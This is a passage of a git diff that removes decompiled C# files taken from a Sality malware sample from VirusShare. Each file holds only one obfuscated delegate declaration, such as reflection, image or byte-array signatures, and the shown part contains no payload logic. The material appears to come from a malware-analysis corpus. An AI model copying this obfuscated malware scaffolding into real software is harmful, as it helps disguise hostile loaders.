C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u0092\u0004([In] object obj0, [In] Image obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0005.cs deleted file mode 100644 index 891c60e4..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ’ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0092\u0005([In] object obj0, [In] Cursor obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0002.cs deleted file mode 100644 index 7fa128f7..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: “ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u0093\u0002([In] object obj0, [In] int obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0003.cs deleted file mode 100644 index 359f0559..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: “ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate Control.ControlCollection \u0093\u0003([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0004.cs deleted file mode 100644 index f4b557f2..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: “ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Module \u0093\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0005.cs deleted file mode 100644 index 2d09a4fe..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: “ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate object \u0093\u0005([In] object obj0, [In] object obj1, [In] object[] obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0002.cs deleted file mode 100644 index ba7cbee2..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ” -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate bool \u0094\u0002([In] IntPtr obj0, [In] IntPtr obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0003.cs deleted file mode 100644 index adf75ddc..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ” -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0094\u0003([In] Array obj0, [In] RuntimeFieldHandle obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0004.cs deleted file mode 100644 index 31d30e5e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ” -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate SizeF \u0094\u0004([In] object obj0, [In] string obj1, [In] Font obj2, [In] int obj3); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0005.cs deleted file mode 100644 index d5dcf3e6..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ” -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0094\u0005([In] object obj0, [In] EventArgs obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0002.cs deleted file mode 100644 index 2149c11d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: • -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u0095\u0002([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0003.cs deleted file mode 100644 index 0614d26b..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: • -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0095\u0003([In] object obj0, [In] FlatStyle obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0004.cs deleted file mode 100644 index 470041b3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: • -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate AssemblyName \u0095\u0004([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0005.cs deleted file mode 100644 index 64d20199..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: • -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0095\u0005([In] object obj0, [In] ResolveEventHandler obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0002.cs deleted file mode 100644 index 47afac98..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: – -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate FieldInfo \u0096\u0002([In] object obj0, [In] string obj1, [In] BindingFlags obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0003.cs deleted file mode 100644 index cf8ccfea..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: – -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate FieldInfo[] \u0096\u0003([In] object obj0, [In] BindingFlags obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0004.cs deleted file mode 100644 index bddcd6bf..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: – -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0096\u0004([In] object obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0005.cs deleted file mode 100644 index 00cf04c9..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0005.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: – -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0096\u0005([In] object obj0, [In] byte[] obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0002.cs deleted file mode 100644 index d75f2a08..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: — -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0097\u0002([In] object obj0, [In] string obj1, [In] string obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0003.cs deleted file mode 100644 index 8d971ef1..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0003.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: — -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u0097\u0003( - [In] object obj0, - [In] Image obj1, - [In] Rectangle obj2, - [In] Rectangle obj3, - [In] GraphicsUnit obj4); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0004.cs deleted file mode 100644 index a8a2177e..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: — -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u0097\u0004([In] object obj0, [In] object obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0005.cs deleted file mode 100644 index 43fb6ba3..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: — -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Text; - -internal delegate StringBuilder \u0097\u0005([In] object obj0, [In] string obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0002.cs deleted file mode 100644 index afea9a87..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˜ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Drawing; -using System.Runtime.InteropServices; - -internal delegate void \u0098\u0002([In] object obj0, [In] Point obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0003.cs deleted file mode 100644 index b42bc284..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˜ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Module[] \u0098\u0003([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0004.cs deleted file mode 100644 index cd6c7df9..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ˜ -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0098\u0004([In] object obj0, [In] int obj1, [In] int obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0005.cs deleted file mode 100644 index 08cb7208..00000000 --- 